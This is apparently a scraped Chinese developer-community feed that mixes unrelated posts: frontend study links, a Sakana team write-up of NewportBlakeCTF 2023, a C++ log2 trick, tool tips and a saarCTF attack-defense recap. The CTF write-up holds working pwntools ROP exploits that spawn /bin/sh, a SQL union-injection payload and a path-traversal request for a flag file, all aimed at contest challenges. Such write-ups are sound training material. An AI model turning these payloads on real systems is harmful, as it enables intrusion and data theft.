背上一个小小的行囊，去做一些并不起眼的小事情。

[每周小结(*91):寻觅意义](https://blog.liugezhou.online/202302-No91/)


[竹白](https://zhouzhou.zhubai.love/) 发出去第一期后，收到了12个关注，期待各位老板订阅 [六个周刊](https://zhouzhou.zhubai.love/)。




每周小结(*91):寻觅意义

[https://zhouzhou.zhubai.love/posts/2223860318088736768](https://zhouzhou.zhubai.love/posts/2223860318088736768)

竹白第一更，欢迎各位老板订阅。

在上一周的每周小结中，简单的总结了自己的年终小结，Wakaka

[https://blog.liugezhou.online/202251-No88/](https://blog.liugezhou.online/202251-No88/)

我的年终小结～2022

![day23](https://cdn.staticaly.com/gh/liugezhou/image@master/day/day23.webp)

[day23](https://day.liugezhou.online/daily/day23.html)

back to basic frontend day23

![day22](https://cdn.staticaly.com/gh/liugezhou/image@master/day/day22.webp)

[day22](https://day.liugezhou.online/daily/day22.html)

back to basic frontend day22

![day21](https://cdn.staticaly.com/gh/liugezhou/image@master/day/day21.webp)

[day21](https://day.liugezhou.online/daily/day21.html)

back to basic frontend day21

![day20](https://cdn.staticaly.com/gh/liugezhou/image@master/day/day20.webp)

[day20](https://day.liugezhou.online/daily/day20.html)

back to basic frontend day20

![day19](https://cdn.staticaly.com/gh/liugezhou/image@master/day/day19.webp)

[day19](https://day.liugezhou.online/daily/day19.html)

back to basic frontend - day19

![day18](https://tikolu.net/i/tntbq)

[day18](https://day.liugezhou.online/daily/day18.html)

back to basic frontend - day18

![day17](https://tikolu.net/i/wguqu)

[链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day17

back to basic frontend - day16

![day15](https://tikolu.net/i/wceyc)

[链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day15

![](https://tikolu.net/i/upzft)

[链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day14

![day13](https://tikolu.net/i/gykhd)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day13

![day12](https://tikolu.net/i/pnjng)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day12

![day11](https://tikolu.net/i/jkzid)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day11

![day10](https://tikolu.net/i/jbhye)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day10

![day9](https://tikolu.net/i/hdjny)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day9

![](https://tikolu.net/i/woqun)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend - day8

![](https://tikolu.net/i/dugxi)

[网页链接](https://blog.liugezhou.online/frontend-docs/everyday/today.html)

back to basic frontend -day7

本次国际赛[sakana战队](https://sakana_ctf.gitee.io/sakana)拿下112名, 解出题目如下所示:

![](https://image.hackertalk.net/images/9ef705db-e483-47bb-9801-6ebc0463b87d)

以下为解出题目与比赛结束后检验过能解出的题目:

## pwn

### ribbit

ret2syscall的一道比较模板的题

## 思路一：

构造数据满足win函数

随便找一个bss段的位置。

然后ROP出一个read就行。然后win函数的两个参数分别对应**rdi** 和 **rsi**,那么利用 pop_rdi 和 pop_rsi 指定参数即可。

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2.布置传参

    payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    # payload2 = b"You got this!"

    # payload2 = payload2.ljust(0x15,b'\x00')

    # payload2 += b'Just do it!\x00'

    payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00"

    sl(payload2)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

```

## 思路二：

不管win函数，反正程序能执行system（/bin/sh），那么直接ret2syscall做就行。

先利用syscall实现一个往bss段写/bin/sh的read函数，然后再实现一个system函数就行。

EXP：

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

    

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

    

global filename,libc,libcname,host,port,e,BreakPoint,p

    

s       = lambda data       : p.send(data)

sa      = lambda text,data  : p.sendafter(text, data)

sl      = lambda data       : p.sendline(data)

sla     = lambda text,data  : p.sendlineafter(text, data)

r       = lambda num=4096   : p.recv(num)

rl      = lambda            : p.recvline()

ru      = lambda text       : p.recvuntil(text)

pr      = lambda num=4096   : print(p.recv(num))

inter   = lambda            : p.interactive()

l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))

uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))

int16   = lambda data       : int(data,16)

lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))

    

def start():

    if args.GDB:

        return gdb.debug(e.path, gdbscript = BreakPoint)

    elif args.REMOTE:

        return remote(host, port)

    else:

        return process(e.path)

    

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

    payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

    #1.string = You got this!       Just do it!

    payload += p64(pop_rax) + p64(0x0)

    payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

    payload += p64(pop_rdi) + p64(0)

    payload += p64(syscall_ret)

    #2. execve("/bin/sh",NULL,NULL)

    payload += p64(pop_rax) + p64(0x3b)

    payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0)

    payload += p64(pop_rdi) + p64(bss_chr_addr)

    payload += p64(syscall_ret) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    payload1 = b'/bin/sh\x00'

    sl(payload1)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

```

## MISC

### do you hear that?

简单的音频隐写签到题

![](https://image.hackertalk.net/images/70db08ea-4b82-4e8c-a177-202addeecf90)

解出flag:`nbctf{y0u_h4v3_s0m3_g00d_34rs}`

## crypto

### Caesar Salads

题目如下所示:

`Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}`

很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:

![](https://image.hackertalk.net/images/72523ca4-a607-4c70-af7b-5c7b8685e189)

解出flag:`nbctf{hope_this_wasnt_too_hard_of_a_start}`

### 32+32=64

两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:

```python

import base64

def decode_base64_multiple_times(encoded_str, num_times):

    decoded_str = encoded_str

    for _ in range(num_times):

        decoded_str = base64.b64decode(decoded_str)

    return decoded_str.decode('utf-8')

def main(file_name):

    file_path = file_name# "32_{}.txt"

    num_decodes = 32

    try:

        with open(file_path, 'r') as file:

            base64_encoded_string = file.read().strip()

        result = decode_base64_multiple_times(base64_encoded_string, num_decodes)

        return result

    except FileNotFoundError:

        print(f"Error: File '{file_path}' not found.")

    except Exception as e:

        print(f"An error occurred: {e}")

if __name__ == "__main__":

    flag = ""

    for i in ["32_1.txt","32_2.txt"]:

        flag += main(i)

    print(flag)

```

解出flag:`nbctf{h0pE_y0U_h4d_fUn}`

### Rivest Shamir forgot Adleman

rsa, 但是细看会发现有点不太一样, 看部分源码:

```python

m = bytes_to_long(b"nbctf{[REDACTED]}")

ct = (m^e) % n

```

latex写多了, 一直没想起`^`在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:

```python

n =  13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873

e =  123589168751396275896312856328164328381265978316578963271231567137825613822284638216416

ct =  159269674251793083518243077048685663852794473778188330996147339166703385101217832722333

from Crypto.Util.number import *

pt = b"flag{fake_flag}"

u = 0

while pt[:5] != b"nbctf":

    m = (ct + (n * u)) ^ e

    pt = long_to_bytes(m)

    u += 1

print(pt)

```

讲个笑话, 我一直以为取模起作用了, 开始是令`u = 1`, 爆破了好久没出结果, 然后自己随便取了个`flag{test}`反推, 发现`m^e`可能会小于`n`, 把`u`改为从0开始秒出结果:

解出flag:`nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}`

### SBG-ABW's Insanity

经检验getPrime(1096)会获取长度330的随机素数.

当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的`q1`, 已知`n1`和`n2`共用了`p`, 其中有

$$

\begin{matrix}

ct1 = m^e\mod{n1} \\

ct2 = m^e\mod{n2}

\end{matrix}

\longrightarrow 

\begin{matrix}

m^e - ct1 = m^e - (m^e\mod{n1}) \\

m^e - ct2 = m^e - (m^e\mod{n2})

\end{matrix}

$$

由模运算的定义可知$m^e - ct1$可被n1整除, 同理$m^e - ct2$可被n2整除, 即$p \cdot u = (m^e - ct1, m^e - ct2)$, 再将结果进行反代: $q1 \cdot v = m^e - ct1 p \cdot u$, 其中q为330位的素数.

接下来使用python求出$q1 \cdot v$:

```python

ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749

ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824

from Crypto.Util.number import bytes_to_long

from Crypto.Util.Padding import pad

from gmpy2 import gcd

m = bytes_to_long(b'we give you this as a gift!')

e = 11

p = gcd(pow(m,e) - ct1, pow(m,e) - ct2)

q1_v = (pow(m,e) - ct1) // p

print("q1*v = ",q1_v)

# q1*v =  9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588

```

用[网站](http://factordb.com)先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:

```python

from Crypto.Util.number import long_to_bytes

from Crypto.Cipher import AES

import hashlib

enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f"

q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243

key = hashlib.sha256(long_to_bytes(q1)).digest()

cipher = AES.new(key, AES.MODE_ECB)

flag = cipher.decrypt(bytes.fromhex(enc_flag))

print("flag is:",flag)

# flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03'

```

解出flag:`nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}`

### Too Little Information

原理:

$$

\begin{matrix}

n = p \cdot q \\

n = p \cdot（p+q - p） \\

0 = p \cdot（p+q - p）- n

\end{matrix}

$$

使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。

使用sage进行Coppersmith定理攻击:

```python

ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534

e = 65537

n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961

hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200

from Crypto.Util.number import *

p_ = var('p_')

approx_p_plus_q = hint << 200

approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0])

PR.<x> = PolynomialRing(Zmod(n))

f = approx_p + x

x = f.small_roots(X=2**200, beta=0.4)[0]

p = int(f(x))

q = n//p

d = pow(e, -1, (p-1)*(q-1))

print("flag = ",pow(ct,d,n))

#flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149

#print(long_to_bytes(pow(ct, d, n)))

#nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}

```

可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:

![](https://image.hackertalk.net/images/c19b41ee-8a5f-4dec-863a-bd8c01818f81)

解出flag:`nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}`

## web

### Inspector Gadget

旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:

![](https://image.hackertalk.net/images/715bf44c-43c8-45e4-b3ef-81b1b7192051)

* 直接进入其中一个网页找到标题flag1/4

* 在js里面找到隐藏文件`supersecrettopsecret.txt`, 访问后拿到flag2/4

* 让图片丢失后显示flag3/4

* 扫目录在`mysecretfiles.html`拿到flag4/4

最后组合后解出flag:`nbctf{G00d_J06_D3tectlv3_G4dg3t352}`

### walter's crystal shop

sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:

`Amethyst' union select 1,2,flag from flag--+`

查询后拿到结果:

![](https://image.hackertalk.net/images/7958ccd1-270e-45ca-99be-7bd12a78445f)

解出flag:`nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}`

### Galleria

因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从`Dockerfile`文件可知flag以`flag.txt`形式存放在`/tmp/flag.txt`处, 审计源码, 这里贴出部分比较关键的代码:

```python

def check_file_path(path):

    _path = Path(path)

    parts = [*Path.cwd().parts][1:]

    for part in _path.parts:

        if part == '.':

            continue

        if part == '..':

            parts.pop()

        else:

            parts.append(part)

        if len(parts) == 0:

            return False

    _path = os.path.join(os.getcwd(), path)

    _path = Path(_path)

    return _path.exists() and _path.is_file()

    

@app.route('/gallery')

def gallery():

    if request.args.get('file'):

        filename = os.path.join('uploads', request.args.get('file'))

        if not check_file_path(filename):

            return redirect(url_for('gallery'))

        return send_file(filename)

```

check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问`[网站地址]/gallery?file=/tmp/flag.txt`拿到flag.

解出flag:`nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}`



NewportBlakeCTF 2023 (NBCTF 2023) Sakana战队wp

记得之前有一个，基调是绿色的，从html到webpack到node都有涉及。但是怎么也找不到了。各位大佬贡献一下你们的日常背八股文的网站呗 :sleeping: 

求前端背八股文网站

像洛谷这样，签到之后能显示今日运势——单纯签到加积分感觉有点干瘪……![](https://image.hackertalk.net/images/02a15653-d9fd-4676-8914-4cd7eb2c155f)![](https://image.hackertalk.net/images/a1e0d9e3-8247-4427-9f96-39dbfe18efff)

感觉站长可以给签到加个功能

空间和时间复杂度都是 `O(1)`，好像还鲜有人知的算法：

```cpp
inline auto log_2(uint64_t x) { // also unsigned long long
    uint64_t rst = 0;
    if (x & 0xffff'ffff'0000'0000ULL) rst += 32, x >>= 32;
    if (x & 0x0000'0000'ffff'0000ULL) rst += 16, x >>= 16;
    if (x & 0x0000'0000'0000'ff00ULL) rst +=  8, x >>=  8;
    if (x & 0x0000'0000'0000'00f0ULL) rst +=  4, x >>=  4;
    if (x & 0x0000'0000'0000'000cULL) rst +=  2, x >>=  2;
    if (x & 0x0000'0000'0000'0002ULL) rst +=  1          ;
    return rst;
}
inline auto log_2(uint32_t x) { // also unsigned int
    uint32_t rst = 0;
    if (x & 0xffff'0000U) rst += 16, x >>= 16;
    if (x & 0x0000'ff00U) rst +=  8, x >>=  8;
    if (x & 0x0000'00f0U) rst +=  4, x >>=  4;
    if (x & 0x0000'000cU) rst +=  2, x >>=  2;
    if (x & 0x0000'0002U) rst +=  1          ;
    return rst;
}
inline auto log_2(uint16_t x) { // also unsigned short
    uint16_t rst = 0;
    if (x & 0x0000'ff00U) rst += 8, x >>= 8;
    if (x & 0x0000'00f0U) rst += 4, x >>= 4;
    if (x & 0x0000'000cU) rst += 2, x >>= 2;
    if (x & 0x0000'0002U) rst += 1         ;
    return rst;
}
inline auto log_2(uint8_t x) { // also unsigned char
    uint8_t rst = 0;
    if (x & 0x00f0U) rst += 4, x >>= 4;
    if (x & 0x000cU) rst += 2, x >>= 2;
    if (x & 0x0002U) rst += 1         ;
    return rst;
}
```

快速log2取整算法

**免费gpt4推荐 https://a.x-code.fun**

免费gpt4推荐 https://a.x-code.fun

最近在定位内存泄漏的问题，发现 Postman 已经支持并发调试了，可以替代 Jmeter（界面太老太难用了），performance test 的效果如下图，界面很好看，数据清晰：

![](https://image.hackertalk.net/images/0fa77da6-35c6-4cd1-b206-e58361bf1c21)

还可以模拟同时在线人数，做压力测试，设置流量增长曲线或者突发：

![](https://image.hackertalk.net/images/c769f49d-72f2-411c-ab47-29cecc34dbf6)

JProfile 是 Java 的调试可视化工具，不用命令行 dump 再分析，配合 Run GC 功能可以很快定位到内存泄漏的来源，除了看内存，还能看 CPU、Thread、JDBC 等通用接口指标。缺点是这个软件有点贵，如果有开源项目可以免费申请 License：

![](https://image.hackertalk.net/images/c02c3caf-104e-4372-a92e-b3f2c7d73f05)

Postman + JProfile 调试真方便

在队内简单训练过两次比赛后直接上场国际赛事, 最终成绩如下所示:

![](https://image.hackertalk.net/images/5549b2b5-0174-42d5-8c3c-86f315daaa33)

在249支出战战队中一支成立不久, 还带着刚招的新人的战队, 能拿到这个排名某种意义上也挺不错了. 下面是本次[sakana战队](sakana_ctf.gitee.io/sakana)带队队长**sudopacman**在这次比赛中的个人总结, 出战选手为: **sudopacman**, **H4nn4h**(新成员), **REP**(新成员), **liangmo**,**zy4024**(新成员).

## 连接部分

saarctf分为两种连接模式, 即云托管(即使用ssh直接连接)和自托管(使用oracle vm virtualbox). 本次比赛中本队使用了云托管进行参赛, 连接方式为:

* 将下载的*saarctf-cloud.conf*文件修改为*saarctf-cloud.ovpn*, 使用3.4.2版本对应工具直接连接.
* ping [战队IP], 确认丢包率不为100%即为虚拟环境连接成功.
* 提交ssh密钥后完成准备阶段.

![](https://image.hackertalk.net/images/5ba5b05c-ad4b-44a6-ae4a-149afa8d40a3)

以下将详细介绍ssh连接部分:

### openssh工具使用

战队使用openssh工具, 对于archlinux可以直接使用`sudo pacman -S openssh`进行下载, 密钥使用指令`ssh-keygen -t rsa`进行生成, 默认情况公钥和私钥将存放在.ssh文件夹中, 在文件中可以找到两个文件:*[私钥名]*与*[私钥名].pub*, 之前我们有人误将私钥当作公钥提交, 在这里提醒大家:*私钥名].pub*文件是公钥, *[私钥名]*是私钥, 不要随意把自己的私钥丢给大家.

## 竞赛过程

竞赛分为两个过程, 前面会留一小段时间进行代码审计与加固, 然后开始攻击时间, 本次比赛攻击轮次高达240轮, 每轮结束后将直接计算分值, 然后开始下一轮, 从晚上9点打到第二天凌晨6点, 加上在这之前还有一场凌晨2点持续24小时的常规ctf, 实在有点扛不住高强度消耗.

### 加固部分

感觉和网上说的差距会稍微有点大, 之前我们看教程主要说了点php的什么一件不死马, 弱口令......, 实际上好像也没这些乱七八糟的东西, 说一下我感觉重要的部分.

1. `scp`指令: 拉文件其实是一件很重要的操作, 比赛开始可以直接拉取题目数据到本地分析, down掉以后还能本地自己还原, 而不是直接扣大分还原服务器.
2. `ps -ef`&`kill`指令: `ps -ef`能检测后台运行的程序, `kill [指令号]`可以结束掉危险指令的进程.
3. 修改危险指令: 不建议直接删除, 我当时把很多重要工具进行改名, 结果防住了一些注入操作, 成功保住了几道赛题. 如果直接删除的话之后可能会有需要用到的地方, 像我之前出现了一个严重错误, 还好没有把指令直接删掉, 紧急修复了回去.
4. 代码审计: 删改掉一些危险代码, 和常规ctf比赛不同的是awd中的代码会很多很长, 导致无法全部复制到大模型中, 只能人工审计, 这部分以后慢慢考虑.

![](https://image.hackertalk.net/images/50a2f02b-545b-483e-a943-686419232a49)

### 攻击部分

相比防御, 攻击部分会显得稍像ctf, 可惜本次比赛我们战队的pwn手与web手全部翘掉了, 导致密码学玩家高强度坐牢. 我们试着打了一下没有结果, 最后干脆一心一意弄防御, 所以攻击部分就不细说误人子弟了, 简单聊一下自己的理解就好.

* 不同于训练赛, saarctf中不需要扫描ip, 玩家可以直接在排行榜找到对手的ip.
* 服务器中的代码一般是可以直接在网上找到的, 看历史issues应该可以帮到大忙, 但是我懒, 没有去看.
* 攻击的方式是审计与工具乱扫, 万一不小心扫出点什么呢, 很可惜, 我只在队内赛扫出点名堂.
* 值得一提的是对于大部分web新手来说主要学习php语言入坑, 但是以我这段时间的经历来看现在python, golang这类语言的比重在大幅提升,还有c语言的沙盒类题目比重也越来越高, emmmm, 大家看情况学吧.

![](https://image.hackertalk.net/images/19b038c0-8861-4854-84ac-0dc1443522ea)

## 杂谈

既然不是面向战队, 这篇文字就只介绍个大概吧, 对于awd, 个人感觉实战的体验和基本功会更加珍贵, 看教程学到的终究只能图一乐, 在越正式的比赛中基础会变得越重要, 反而只有那些简单的小比赛才会出现什么弱口令登录服务器和一键获取flag之类的东西吧.